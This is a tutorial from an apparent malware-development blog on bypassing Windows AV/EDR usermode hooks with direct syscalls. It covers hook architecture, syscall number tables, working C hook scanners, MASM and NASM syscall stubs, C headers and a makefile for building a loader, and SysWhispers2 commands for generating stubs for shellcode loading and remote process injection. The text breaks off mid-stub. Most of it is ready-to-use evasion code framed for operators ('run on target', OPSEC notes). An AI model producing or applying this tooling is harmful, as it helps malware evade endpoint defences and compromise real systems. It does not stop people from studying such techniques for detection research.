ᛉ Yggdrasil

Malware development

Direct Syscalls in AV/EDR Evasion

15 Sep 2026 · 13,528 words · 61 min

Contents

The definitive deep-dive into direct and indirect syscall techniques for bypassing AV/EDR hooks on Windows.

Legend: [DETECT] = Detection vector | [OPSEC] = Operational Security note | [EDR] = EDR hook behavior | [WIN] = Windows internals concept | [TOOL] = Tool reference | [ASM] = Assembly required | [C] = C code | [CS] = C# / .NET | [PS] = PowerShell | [PY] = Python (attacker prep)


1. Why Syscalls Matter — The EDR Hook Problem

The core problem: Every shellcode loader you write — whether it uses VirtualAlloc, WriteProcessMemory, CreateThread, or NtCreateThreadEx — must ultimately ask the Windows kernel for memory and thread resources. EDR products intercept this communication by placing hooks in usermode to monitor, inspect, and block suspicious API calls.

When an EDR hooks NtAllocateVirtualMemory, every loader that touches memory allocation gets caught at the moment it calls that function. The solution is to skip the hooked function entirely and talk to the kernel yourself — that's exactly what direct syscalls do.

The Problem Visualized

─────────────────────────────────────────────────────────────────────
NORMAL API CALL (EDR Can See Everything):

  Your Loader
      │
      ▼
  kernel32.dll → VirtualAlloc()                ← Win32 layer (hooked)
      │
      ▼
  ntdll.dll → NtAllocateVirtualMemory()        ← EDR HOOK IS HERE
      │                                            EDR scans args, context,
      │    ←─── [EDR HOOK INTERCEPTS] ───────────  call stack
      │
      ▼
  syscall instruction → Windows Kernel         ← Kernel allocates memory
      │
      ▼
  Memory Allocated

─────────────────────────────────────────────────────────────────────
DIRECT SYSCALL (EDR Blind Spot):

  Your Loader
      │
      ▼
  Custom Assembly Stub                         ← You write this yourself
      │  mov r10, rcx
      │  mov eax, <syscall_number>             ← Hardcoded or resolved at runtime
      │  syscall                               ← Goes directly to kernel
      │
      ▼
  Windows Kernel                               ← Kernel allocates memory
      │
      ▼
  Memory Allocated
                                               ← EDR hook was NEVER called
─────────────────────────────────────────────────────────────────────

Detection Surface Comparison

Technique EDR Hook Hit API Signature Stack Trace Kernel Callback
VirtualAlloc (Win32) ✅ Yes ✅ Yes ✅ Yes ✅ Yes
NtAllocateVirtualMemory (ntdll) ✅ Yes (hooked) ✅ Yes ✅ Yes ✅ Yes
Direct Syscall (manual stub) ❌ No hook hit ❌ No signature ⚠️ Anomalous stack ✅ Yes
Indirect Syscall (ntdll syscall addr) ❌ No hook hit ❌ No signature ✅ Looks normal ✅ Yes

[OPSEC] Kernel-level callbacks (PsSetCreateProcessNotifyRoutine, etc.) still fire on direct syscalls — you cannot bypass kernel callbacks with syscalls alone. But you DO bypass all usermode hook-based EDR engines, which covers most commercial EDR products.


2. Windows API Architecture — The Full Stack

Before bypassing anything, you need to understand exactly what you're bypassing. The Windows API has multiple layers between your code and the kernel.

╔══════════════════════════════════════════════════════════════════╗
║  USER APPLICATION (loader.exe / powershell.exe / etc.)           ║
╚══════════════════════════════════════════════════════════════════╝
                          │
                    calls Win32 API
                          │
╔══════════════════════════════════════════════════════════════════╗
║  LAYER 1: Win32 API (kernel32.dll, advapi32.dll, etc.)           ║
║                                                                  ║
║  VirtualAlloc()           → Maps to NtAllocateVirtualMemory      ║
║  WriteProcessMemory()     → Maps to NtWriteVirtualMemory         ║
║  CreateThread()           → Maps to NtCreateThreadEx             ║
║  OpenProcess()            → Maps to NtOpenProcess                ║
║                                                                  ║
║  [EDR] Often hooks here too (IAT hooks, inline hooks)            ║
╚══════════════════════════════════════════════════════════════════╝
                          │
                    thin wrappers → calls Nt* functions
                          │
╔══════════════════════════════════════════════════════════════════╗
║  LAYER 2: Native API / ntdll.dll                                 ║
║                                                                  ║
║  NtAllocateVirtualMemory()                                       ║
║  NtWriteVirtualMemory()                                          ║
║  NtCreateThreadEx()                                              ║
║  NtOpenProcess()                                                 ║
║  NtProtectVirtualMemory()                                        ║
║                                                                  ║
║  [EDR] PRIMARY HOOK LOCATION — inline hooks on Nt* functions     ║
║  [EDR] Typically patches first 5-10 bytes with JMP to EDR DLL    ║
╚══════════════════════════════════════════════════════════════════╝
                          │
              syscall instruction (int 2E on x86, syscall on x64)
                          │
╔══════════════════════════════════════════════════════════════════╗
║  LAYER 3: Windows Kernel (ntoskrnl.exe)                          ║
║                                                                  ║
║  System Service Descriptor Table (SSDT)                          ║
║  Kernel validates and executes syscall                           ║
║                                                                  ║
║  [EDR] Kernel callbacks still fire (kernel-mode EDR drivers)     ║
╚══════════════════════════════════════════════════════════════════╝

Key Insight: What a Syscall Stub Looks Like

In an unhooked ntdll, each Nt* function is a tiny stub that does nothing except load the syscall number and execute syscall:

; NtAllocateVirtualMemory — unhooked version in ntdll.dll
; This is what the function looks like when no EDR is installed

NtAllocateVirtualMemory:
    4C 8B D1           mov r10, rcx    ; Windows calling convention requirement
    B8 18 00 00 00     mov eax, 0x18   ; Syscall number (0x18 = NtAllocateVirtualMemory on Win10 21H2)
    0F 05              syscall         ; Transfer to kernel
    C3                 ret             ; Return to caller

When an EDR hooks this function, the first bytes get overwritten with a JMP to the EDR's analysis code:

; NtAllocateVirtualMemory — HOOKED version (EDR present)
NtAllocateVirtualMemory:
    E9 XX XX XX XX     jmp  <EDR_DLL + offset>   ; EDR replaced first 5 bytes!
    00 00              (garbage/displaced bytes)
    0F 05              syscall                    ; EDR's code eventually reaches here
    C3                 ret

When YOUR direct syscall stub executes syscall directly — the EDR's JMP never runs. The kernel gets called, the EDR hook is completely bypassed.


3. How EDR Hooks Work (Usermode Hooking Deep Dive)

Understanding how EDR hooks are placed helps you understand what you're bypassing and what still fires.

3.1 Inline Hooking (Most Common)

The EDR driver, during process creation, writes a JMP instruction over the first 5 bytes of target functions in ntdll.dll in every new process's memory space.

BEFORE HOOK (clean ntdll):
Offset  Bytes                   Disassembly
0x0000  4C 8B D1                mov r10, rcx
0x0003  B8 18 00 00 00          mov eax, 0x18
0x0008  0F 05                   syscall
0x000A  C3                      ret

AFTER HOOK (EDR installed):
Offset  Bytes                   Disassembly
0x0000  E9 AB CD EF 01          jmp  <EDR hook handler>
0x0005  00 00 00                (displaced original bytes)
0x0008  0F 05                   syscall
0x000A  C3                      ret

The EDR hook handler: 1. Captures all arguments to the call 2. Examines the call stack (who called NtAllocateVirtualMemory?) 3. Checks memory protection flags, sizes, access rights 4. Either blocks the call, logs it, or allows it through to the real syscall 5. Jumps to a "trampoline" that executes the displaced bytes and returns to the real function

3.2 IAT Hooking

Some EDRs also hook the Import Address Table (IAT) of your process — replacing function pointers in the IAT with EDR handler addresses. This catches Win32-level calls (VirtualAlloc etc.) before they even reach ntdll.

// IAT entry for VirtualAlloc before hooking:
// kernel32.VirtualAlloc → 0x7FFE1234ABCD (real kernel32 address)

// IAT entry after EDR hooks it:
// kernel32.VirtualAlloc → 0x7FFE00001000 (EDR monitoring DLL)

Direct syscalls completely bypass IAT hooks because you never call through the IAT at all.

3.3 What EDR DLLs Are Typically Injected

Common EDR DLLs you'll see in hooked processes:

CrowdStrike Falcon:    CSFalconService.dll, hmpalert.dll
SentinelOne:           InProcessClient32.dll / InProcessClient64.dll
Carbon Black:          RepMon.dll
Cylance:               CylanceMemDef64.dll
Sophos:                SophosED.dll
Windows Defender ATP:  MpOav.dll, MsMpEng.dll injected components
Symantec:              symevent.dll
McAfee:                mfehidk.dll components

# Check what's loaded in your target process:
Get-Process powershell | Select-Object -ExpandProperty Modules | Where-Object {$_.ModuleName -like "*.dll"} | Select ModuleName, FileName

3.4 Examining Hooks at Runtime

// Check if a function is hooked by reading its first bytes:
#include <windows.h>
#include <stdio.h>

void CheckHook(const char* dllName, const char* funcName) {
    HMODULE hDll = GetModuleHandleA(dllName);
    if (!hDll) hDll = LoadLibraryA(dllName);

    BYTE* func = (BYTE*)GetProcAddress(hDll, funcName);
    if (!func) { printf("[-] %s not found in %s\n", funcName, dllName); return; }

    printf("[*] %s!%s @ 0x%p: ", dllName, funcName, func);
    for (int i = 0; i < 10; i++) printf("%02X ", func[i]);
    printf("\n");

    // Detect inline hook: first byte is E9 (JMP) or E8 (CALL) or FF25 (JMP [ptr])
    if (func[0] == 0xE9 || func[0] == 0xE8) {
        printf("  [!] HOOKED — JMP instruction detected at function start!\n");
    } else if (func[0] == 0x4C && func[1] == 0x8B && func[2] == 0xD1) {
        printf("  [+] Clean — standard syscall stub pattern\n");
    } else {
        printf("  [?] Unusual prologue — possibly hooked differently\n");
    }
}

int main(void) {
    CheckHook("ntdll.dll", "NtAllocateVirtualMemory");
    CheckHook("ntdll.dll", "NtWriteVirtualMemory");
    CheckHook("ntdll.dll", "NtProtectVirtualMemory");
    CheckHook("ntdll.dll", "NtCreateThreadEx");
    CheckHook("ntdll.dll", "NtOpenProcess");
    CheckHook("ntdll.dll", "NtReadVirtualMemory");
    return 0;
}
# Compile and run to see which functions are hooked on target:
x86_64-w64-mingw32-gcc hook_check.c -o hook_check.exe
# Run on target — hooked functions show E9 XX XX XX XX at start

4. Detecting EDR Hooks at Runtime

Before executing your payload, it's useful to know exactly which functions are hooked and by which EDR. This informs your evasion strategy.

4.1 Hook Detector Utility

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// List of Nt* functions to check
const char* nt_functions[] = {
    "NtAllocateVirtualMemory",
    "NtAllocateVirtualMemoryEx",
    "NtWriteVirtualMemory",
    "NtReadVirtualMemory",
    "NtProtectVirtualMemory",
    "NtCreateThreadEx",
    "NtOpenProcess",
    "NtOpenThread",
    "NtSuspendThread",
    "NtResumeThread",
    "NtGetContextThread",
    "NtSetContextThread",
    "NtQueueApcThread",
    "NtMapViewOfSection",
    "NtUnmapViewOfSection",
    "NtCreateSection",
    "NtLoadDriver",
    "LdrLoadDll",
    "NtCreateProcess",
    "NtCreateUserProcess",
    NULL
};

BOOL IsHooked(BYTE* funcAddr) {
    // Clean syscall stub starts with: 4C 8B D1 (mov r10, rcx)
    // Hooked stubs often start with: E9 (JMP rel32) or FF 25 (JMP [rip+X])
    if (funcAddr[0] == 0xE9) return TRUE;   // JMP rel32
    if (funcAddr[0] == 0xFF && funcAddr[1] == 0x25) return TRUE;  // JMP [RIP+X]
    if (funcAddr[0] == 0xE8) return TRUE;   // CALL rel32 (some hooks use this)
    if (funcAddr[0] == 0x48 && funcAddr[1] == 0xB8) return TRUE;  // MOV RAX, imm64 (some)
    return FALSE;
}

DWORD ExtractSyscallNumber(BYTE* funcAddr) {
    // Standard pattern: 4C 8B D1 B8 [syscall_num_4bytes] 0F 05 C3
    // Syscall number is at bytes [4..7] (after mov r10,rcx and start of mov eax,X)
    if (funcAddr[0] == 0x4C && funcAddr[1] == 0x8B && funcAddr[2] == 0xD1 &&
        funcAddr[3] == 0xB8) {
        return *(DWORD*)(funcAddr + 4);
    }
    return 0xFFFFFFFF;  // Unknown
}

void ScanHooks(void) {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    printf("╔══════════════════════════════════════════════════════════╗\n");
    printf("║           ntdll.dll Hook Scanner                        ║\n");
    printf("╚══════════════════════════════════════════════════════════╝\n\n");
    printf("%-40s %-8s %s\n", "Function", "Syscall#", "Status");
    printf("%-40s %-8s %s\n", "--------", "--------", "------");

    for (int i = 0; nt_functions[i] != NULL; i++) {
        BYTE* func = (BYTE*)GetProcAddress(ntdll, nt_functions[i]);
        if (!func) {
            printf("%-40s %-8s NOT FOUND\n", nt_functions[i], "N/A");
            continue;
        }
        BOOL hooked = IsHooked(func);
        DWORD sysnum = ExtractSyscallNumber(func);
        char sysnum_str[16];
        if (sysnum == 0xFFFFFFFF) sprintf_s(sysnum_str, sizeof(sysnum_str), "HOOKED");
        else sprintf_s(sysnum_str, sizeof(sysnum_str), "0x%04X", sysnum);
        printf("%-40s %-8s %s\n", nt_functions[i], sysnum_str,
               hooked ? "[!] HOOKED" : "[+] Clean");
    }

    // Also list suspicious DLLs loaded in this process
    printf("\n[*] Loaded modules (suspicious):\n");
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, GetCurrentProcessId());
    MODULEENTRY32 me = { sizeof(MODULEENTRY32) };
    while (Module32Next(hSnap, &me)) {
        char* name = me.szModule;
        // Flag common EDR DLLs
        if (strstr(name, "falcon") || strstr(name, "carbon") || strstr(name, "cylance") ||
            strstr(name, "sentinel") || strstr(name, "sophos") || strstr(name, "hmpalert") ||
            strstr(name, "mfehidk") || strstr(name, "symev") || strstr(name, "mbae")) {
            printf("  [EDR DLL DETECTED]: %s at 0x%p\n", name, me.modBaseAddr);
        }
    }
    CloseHandle(hSnap);
}

int main(void) {
    ScanHooks();
    return 0;
}
# Compile:
x86_64-w64-mingw32-gcc -o hook_scanner.exe hook_scanner.c
# Expected output on system WITH EDR:
# NtAllocateVirtualMemory                  HOOKED   [!] HOOKED
# NtCreateThreadEx                         HOOKED   [!] HOOKED
# [EDR DLL DETECTED]: CsFalcon64.dll at 0x00007FF...

# Expected output on clean system:
# NtAllocateVirtualMemory                  0x0018   [+] Clean
# NtCreateThreadEx                         0x00C2   [+] Clean

5. Direct Syscalls — Concept and Theory

Direct syscalls mean: instead of calling ntdll!NtAllocateVirtualMemory (which may be hooked), you issue the syscall CPU instruction yourself, with the correct syscall number loaded in EAX, bypassing ntdll entirely.

5.1 What a Direct Syscall Achieves

WITHOUT direct syscall:
  loader → ntdll.NtAllocateVirtualMemory → [EDR HOOK → JMP to EDR] → kernel

WITH direct syscall:
  loader → your_custom_stub (syscall instruction) → kernel directly
                                                     ↑
                                            EDR hook never called

5.2 The x64 Syscall Calling Convention

On x64 Windows, the syscall calling convention is strict:

; x64 Syscall Calling Convention:
; EAX  = Syscall Number (which kernel function to call)
; R10  = First argument  (usually RCX in normal calls — must be moved!)
; RDX  = Second argument
; R8   = Third argument
; R9   = Fourth argument
; Stack (RSP+0x28, +0x30, ...) = 5th, 6th, 7th... arguments

; IMPORTANT: Windows x64 passes args in RCX, RDX, R8, R9
; But syscall clobbers RCX — so the kernel convention uses R10 for arg1
; That's why every syscall stub does: mov r10, rcx

5.3 What Happens at the syscall Instruction

CPU executes 'syscall' instruction:
├─ CPU switches from Ring 3 (user mode) to Ring 0 (kernel mode)
├─ RIP is saved (return address)
├─ CPU reads IA32_LSTAR MSR → this holds the kernel's syscall handler address
├─ CPU jumps to KiSystemCall64 (kernel entry point)
├─ KiSystemCall64 reads EAX (syscall number)
├─ Uses SSDT (System Service Descriptor Table) to find the right kernel function
├─ Executes the kernel function with arguments from R10, RDX, R8, R9, stack
├─ Returns to user mode at saved RIP
└─ Loader continues after 'syscall' instruction

5.4 Critical Requirement: Correct Syscall Numbers

The most important constraint: Syscall numbers are NOT fixed constants. They change between Windows versions and sometimes between updates. NtAllocateVirtualMemory might be 0x0018 on Windows 10 21H2 but 0x0019 on a different build.

NtAllocateVirtualMemory syscall numbers across versions (example, verify current):
Windows 7 SP1 (x64):       0x0015
Windows 8.1 (x64):         0x0016
Windows 10 1507:            0x0017
Windows 10 1607:            0x0018
Windows 10 21H2:            0x0018
Windows 11 22H2:            0x0018
Windows 11 23H2:            0x0018
(Numbers can drift on minor updates — ALWAYS resolve at runtime for production use)

6. Syscall Numbers — How They Work and Why They Change

6.1 The System Service Descriptor Table (SSDT)

The SSDT is a kernel-level array that maps syscall numbers (indices) to kernel function addresses. When you execute syscall with EAX=0x0018, the kernel reads SSDT[0x18] to find which function to call.

// Kernel-side (conceptual — you can't access this from usermode):
// SSDT entry structure (simplified)
typedef struct _KSERVICE_TABLE_DESCRIPTOR {
    PULONG_PTR Base;      // Pointer to array of function offsets
    PULONG     Count;     // Reference counts
    ULONG      Limit;     // Number of entries
    PUCHAR     Number;    // Argument table
} KSERVICE_TABLE_DESCRIPTOR;

// SSDT[0x0018] → points to NtAllocateVirtualMemory in kernel
// SSDT[0x00C2] → points to NtCreateThreadEx in kernel
// etc.

6.2 Why Syscall Numbers Change

Microsoft occasionally adds, removes, or reorders syscalls between Windows versions. Since the SSDT is rebuilt each version, the indices shift:

If Microsoft adds a new syscall "NtNewFunction" between NtAllocate and NtWrite,
everything after it shifts by 1:
  Before: NtAllocateVirtualMemory=0x18, NtWriteVirtualMemory=0x3A
  After:  NtAllocateVirtualMemory=0x18, NtNewFunction=0x19, NtWriteVirtualMemory=0x3B

This is why hardcoded syscall numbers are dangerous for production tools — they need to be dynamically resolved.

6.3 Syscall Number Reference Table (Common Functions)

[OPSEC] These are reference values — always resolve dynamically at runtime. These may be outdated for your target build. Use the tools in Sections 8-13 for production use.

Function                        Win10 1903   Win10 21H2   Win11 22H2
────────────────────────────────────────────────────────────────────
NtAllocateVirtualMemory         0x0018       0x0018       0x0018
NtAllocateVirtualMemoryEx       0x00CD       0x00CD       0x00CD
NtWriteVirtualMemory            0x003A       0x003A       0x003A
NtReadVirtualMemory             0x003F       0x003F       0x003F
NtProtectVirtualMemory          0x0050       0x0050       0x0050
NtCreateThreadEx                0x00C2       0x00C2       0x00C2
NtOpenProcess                   0x0026       0x0026       0x0026
NtOpenThread                    0x0129       0x012A       0x012C
NtSuspendThread                 0x00BD       0x00BD       0x00BD
NtResumeThread                  0x0052       0x0052       0x0052
NtQueueApcThread                0x0069       0x0069       0x0069
NtMapViewOfSection              0x0028       0x0028       0x0028
NtUnmapViewOfSection            0x002A       0x002A       0x002A
NtCreateSection                 0x004A       0x004A       0x004A
NtGetContextThread              0x00F5       0x00F5       0x00F5
NtSetContextThread              0x00DA       0x00DA       0x00DA

(Source: j00ru's syscall tables — verify at: https://j00ru.vexillium.org/syscalls/nt/64/)

6.4 How to Extract Syscall Numbers from a Live System

# PY — Extract syscall numbers from ntdll on target system
# Run this Python script on the target Windows machine

import ctypes
import ctypes.wintypes as wt
import struct

def get_syscall_number(func_name):
    ntdll = ctypes.WinDLL("ntdll.dll")
    func = getattr(ntdll, func_name, None)
    if not func:
        return None

    addr = ctypes.cast(func, ctypes.c_void_p).value
    # Read 8 bytes from function start
    buf = (ctypes.c_byte * 8)()
    ctypes.memmove(buf, addr, 8)

    # Check for standard syscall stub pattern: 4C 8B D1 B8 [num] ...
    if bytes(buf[:4]) == bytes([0x4C, 0x8B, 0xD1, 0xB8]):
        num = struct.unpack_from('<I', bytes(buf[4:8]))[0]
        return num
    return None  # Possibly hooked

functions = [
    "NtAllocateVirtualMemory",
    "NtWriteVirtualMemory",
    "NtProtectVirtualMemory",
    "NtCreateThreadEx",
    "NtOpenProcess",
    "NtQueueApcThread",
    "NtMapViewOfSection",
    "NtCreateSection",
]

for f in functions:
    num = get_syscall_number(f)
    if num is not None:
        print(f"{f:<40} 0x{num:04X}")
    else:
        print(f"{f:<40} HOOKED or NOT FOUND")
# PS — Quick syscall number check via PowerShell
$ntdll = [System.Runtime.InteropServices.Marshal]::GetHINSTANCE(
    [System.AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {$_.Location -match "ntdll"}
)
# Alternatively via reflection:
$code = @"
[DllImport("kernel32.dll")] public static extern IntPtr GetModuleHandle(string n);
[DllImport("kernel32.dll")] public static extern IntPtr GetProcAddress(IntPtr m, string f);
"@
$k = Add-Type -MemberDefinition $code -Name "K" -Namespace "Win32" -PassThru
$ntdll = $k::GetModuleHandle("ntdll.dll")
$funcAddr = $k::GetProcAddress($ntdll, "NtAllocateVirtualMemory")
$bytes = New-Object byte[] 8
[System.Runtime.InteropServices.Marshal]::Copy($funcAddr, $bytes, 0, 8)
# Check if bytes[0..3] == 4C 8B D1 B8 (clean stub)
if ($bytes[0] -eq 0x4C -and $bytes[1] -eq 0x8B -and $bytes[2] -eq 0xD1 -and $bytes[3] -eq 0xB8) {
    $sysnum = [System.BitConverter]::ToUInt32($bytes, 4)
    Write-Host "NtAllocateVirtualMemory syscall number: 0x$($sysnum.ToString('X4'))"
} else {
    Write-Host "NtAllocateVirtualMemory appears HOOKED (first bytes: $($bytes[0..4] -join ' '))"
}

7. Writing Manual Syscall Stubs (Assembly)

This is the foundation — writing the actual assembly stubs that issue syscalls directly. You write one stub per NT function you want to call.

7.1 Basic Stub Structure (MASM — Windows Assembler)

; syscalls.asm — Direct syscall stubs
; Assemble with: ml64.exe /c syscalls.asm

.code

; ─────────────────────────────────────────────────────────────────
; NtAllocateVirtualMemory — Syscall stub
; Prototype:
;   NTSTATUS NtAllocateVirtualMemory(
;     HANDLE    ProcessHandle,
;     PVOID*    BaseAddress,
;     ULONG_PTR ZeroBits,
;     PSIZE_T   RegionSize,
;     ULONG     AllocationType,
;     ULONG     Protect
;   );
; ─────────────────────────────────────────────────────────────────
NtAllocateVirtualMemory PROC
    mov r10, rcx              ; Move 1st arg from RCX to R10 (Windows syscall req)
    mov eax, 18h              ; Syscall number — CHANGE THIS PER TARGET BUILD!
    syscall                   ; Issue syscall → kernel
    ret                       ; Return NTSTATUS to caller
NtAllocateVirtualMemory ENDP

; ─────────────────────────────────────────────────────────────────
; NtWriteVirtualMemory
; NTSTATUS NtWriteVirtualMemory(
;   HANDLE  ProcessHandle,
;   PVOID   BaseAddress,
;   PVOID   Buffer,
;   SIZE_T  NumberOfBytesToWrite,
;   PSIZE_T NumberOfBytesWritten
; );
; ─────────────────────────────────────────────────────────────────
NtWriteVirtualMemory PROC
    mov r10, rcx
    mov eax, 3Ah              ; Syscall number for NtWriteVirtualMemory
    syscall
    ret
NtWriteVirtualMemory ENDP

; ─────────────────────────────────────────────────────────────────
; NtProtectVirtualMemory
; NTSTATUS NtProtectVirtualMemory(
;   HANDLE  ProcessHandle,
;   PVOID*  BaseAddress,
;   PSIZE_T RegionSize,
;   ULONG   NewProtect,
;   PULONG  OldProtect
; );
; ─────────────────────────────────────────────────────────────────
NtProtectVirtualMemory PROC
    mov r10, rcx
    mov eax, 50h              ; Syscall number for NtProtectVirtualMemory
    syscall
    ret
NtProtectVirtualMemory ENDP

; ─────────────────────────────────────────────────────────────────
; NtCreateThreadEx
; NTSTATUS NtCreateThreadEx(
;   PHANDLE         ThreadHandle,
;   ACCESS_MASK     DesiredAccess,
;   PVOID           ObjectAttributes,
;   HANDLE          ProcessHandle,
;   PVOID           StartRoutine,
;   PVOID           Argument,
;   ULONG           CreateFlags,
;   SIZE_T          ZeroBits,
;   SIZE_T          StackSize,
;   SIZE_T          MaximumStackSize,
;   PVOID           AttributeList
; );
; ─────────────────────────────────────────────────────────────────
NtCreateThreadEx PROC
    mov r10, rcx
    mov eax, 0C2h             ; Syscall number for NtCreateThreadEx
    syscall
    ret
NtCreateThreadEx ENDP

; ─────────────────────────────────────────────────────────────────
; NtOpenProcess
; NTSTATUS NtOpenProcess(
;   PHANDLE            ProcessHandle,
;   ACCESS_MASK        DesiredAccess,
;   POBJECT_ATTRIBUTES ObjectAttributes,
;   PCLIENT_ID         ClientId
; );
; ─────────────────────────────────────────────────────────────────
NtOpenProcess PROC
    mov r10, rcx
    mov eax, 26h              ; Syscall number for NtOpenProcess
    syscall
    ret
NtOpenProcess ENDP

; NtWaitForSingleObject
NtWaitForSingleObject PROC
    mov r10, rcx
    mov eax, 4h
    syscall
    ret
NtWaitForSingleObject ENDP

end

7.2 NASM Version (Cross-Platform Compilation from Linux)

; syscalls_nasm.asm — NASM format (compile from Linux)
; nasm -f win64 syscalls_nasm.asm -o syscalls_nasm.obj
; Then link with your C code

global NtAllocateVirtualMemory
global NtWriteVirtualMemory
global NtProtectVirtualMemory
global NtCreateThreadEx
global NtOpenProcess
global NtWaitForSingleObject

section .text

NtAllocateVirtualMemory:
    mov r10, rcx
    mov eax, 0x18
    syscall
    ret

NtWriteVirtualMemory:
    mov r10, rcx
    mov eax, 0x3A
    syscall
    ret

NtProtectVirtualMemory:
    mov r10, rcx
    mov eax, 0x50
    syscall
    ret

NtCreateThreadEx:
    mov r10, rcx
    mov eax, 0xC2
    syscall
    ret

NtOpenProcess:
    mov r10, rcx
    mov eax, 0x26
    syscall
    ret

NtWaitForSingleObject:
    mov r10, rcx
    mov eax, 0x04
    syscall
    ret

7.3 Corresponding C Header File

// syscalls.h — Declarations for your manual assembly stubs
#pragma once
#include <windows.h>
#include <winternl.h>

// NTSTATUS return code definitions
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif

// Ensure we have the OBJECT_ATTRIBUTES structure
typedef struct _OBJECT_ATTRIBUTES {
    ULONG           Length;
    HANDLE          RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG           Attributes;
    PVOID           SecurityDescriptor;
    PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID {
    PVOID UniqueProcess;
    PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;

// Helper macro
#define InitializeObjectAttributes(p,n,a,r,s) { \
    (p)->Length = sizeof(OBJECT_ATTRIBUTES);     \
    (p)->RootDirectory = r;                      \
    (p)->Attributes = a;                         \
    (p)->ObjectName = n;                         \
    (p)->SecurityDescriptor = s;                 \
    (p)->SecurityQualityOfService = NULL;        \
}

// ─── Function declarations (implemented in assembly stubs) ───────

NTSTATUS NtAllocateVirtualMemory(
    HANDLE    ProcessHandle,
    PVOID*    BaseAddress,
    ULONG_PTR ZeroBits,
    PSIZE_T   RegionSize,
    ULONG     AllocationType,
    ULONG     Protect
);

NTSTATUS NtWriteVirtualMemory(
    HANDLE  ProcessHandle,
    PVOID   BaseAddress,
    PVOID   Buffer,
    SIZE_T  NumberOfBytesToWrite,
    PSIZE_T NumberOfBytesWritten
);

NTSTATUS NtProtectVirtualMemory(
    HANDLE  ProcessHandle,
    PVOID*  BaseAddress,
    PSIZE_T RegionSize,
    ULONG   NewProtect,
    PULONG  OldProtect
);

NTSTATUS NtCreateThreadEx(
    PHANDLE          ThreadHandle,
    ACCESS_MASK      DesiredAccess,
    PVOID            ObjectAttributes,
    HANDLE           ProcessHandle,
    PVOID            StartRoutine,
    PVOID            Argument,
    ULONG            CreateFlags,
    SIZE_T           ZeroBits,
    SIZE_T           StackSize,
    SIZE_T           MaximumStackSize,
    PVOID            AttributeList
);

NTSTATUS NtOpenProcess(
    PHANDLE            ProcessHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PCLIENT_ID         ClientId
);

NTSTATUS NtWaitForSingleObject(
    HANDLE         Handle,
    BOOLEAN        Alertable,
    PLARGE_INTEGER Timeout
);

7.4 Build System (CMakeLists / makefile)

# Makefile — cross-compile from Linux with MinGW + NASM

CC = x86_64-w64-mingw32-gcc
NASM = nasm
CFLAGS = -masm=intel -Wall -Wno-incompatible-pointer-types
LDFLAGS = -mwindows

all: loader.exe

syscalls_nasm.obj: syscalls_nasm.asm
    $(NASM) -f win64 syscalls_nasm.asm -o syscalls_nasm.obj

loader.exe: loader.c syscalls.h syscalls_nasm.obj
    $(CC) $(CFLAGS) loader.c syscalls_nasm.obj -o loader.exe $(LDFLAGS)

clean:
    rm -f *.obj *.exe

8. SysWhispers2 — Automated Direct Syscall Generation

SysWhispers2 is the go-to tool for generating correct, version-aware direct syscall stubs automatically. It handles syscall number resolution at runtime — no hardcoded numbers.

8.1 Installation

# Clone SysWhispers2
git clone https://github.com/jthuraisamy/SysWhispers2
cd SysWhispers2

# Install Python dependencies
pip3 install -r requirements.txt

# Verify it works
python3 syswhispers.py --help

8.2 Generating Stubs

# ─── Generate stubs for specific functions ───

# Minimum required for a basic shellcode loader:
python3 syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx \
    --output syscalls

# Extended set (for process injection into remote process):
python3 syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtReadVirtualMemory,\
NtProtectVirtualMemory,NtCreateThreadEx,NtOpenProcess,NtQueueApcThread,\
NtSuspendThread,NtResumeThread,NtGetContextThread,NtSetContextThread,\
NtWaitForSingleObject,NtClose \
    --output syscalls

# Generate ALL NT functions (large output — useful for a comprehensive tool):
python3 syswhispers.py --preset all --output syscalls_all

# Generate for specific Windows versions only:
python3 syswhispers.py --functions NtCreateThreadEx --versions 10.0.19041,10.0.22621 --output syscalls

# Output files generated:
#   syscalls.h        → C declarations + SW2_SYSCALL_ENTRY struct
#   syscalls.c        → Runtime syscall number resolution logic
#   syscallsstubs.asm → MASM assembly stubs

8.3 Understanding the Generated Output

// syscalls.h (generated by SysWhispers2 — excerpt)
#pragma once
#include <windows.h>
#include <winternl.h>

// SW2_SYSCALL_ENTRY — maps function hash to syscall number
// Populated at runtime by SW2_PopulateSyscallList()
typedef struct _SW2_SYSCALL_ENTRY {
    DWORD Hash;        // Hash of function name (e.g., NtAllocateVirtualMemory)
    DWORD Address;     // Resolved syscall number
} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;

// SW2_SYSCALL_LIST — array of all resolved syscall entries
typedef struct _SW2_SYSCALL_LIST {
    DWORD          Count;
    SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
} SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;

// This function MUST be called first — it scans ntdll and builds the syscall table
BOOL SW2_PopulateSyscallList(void);

// Automatically generated declarations for each requested function:
NTSTATUS NtAllocateVirtualMemory(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
NTSTATUS NtWriteVirtualMemory(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
NTSTATUS NtProtectVirtualMemory(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
NTSTATUS NtCreateThreadEx(PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID,
    ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);
; syscallsstubs.asm (generated — excerpt)
; This is MASM format
.code

; SW2_GetSyscallNumber — looks up syscall number from the populated table
EXTERN SW2_GetSyscallNumber: PROC

NtAllocateVirtualMemory PROC
    sub rsp, 28h               ; Shadow space
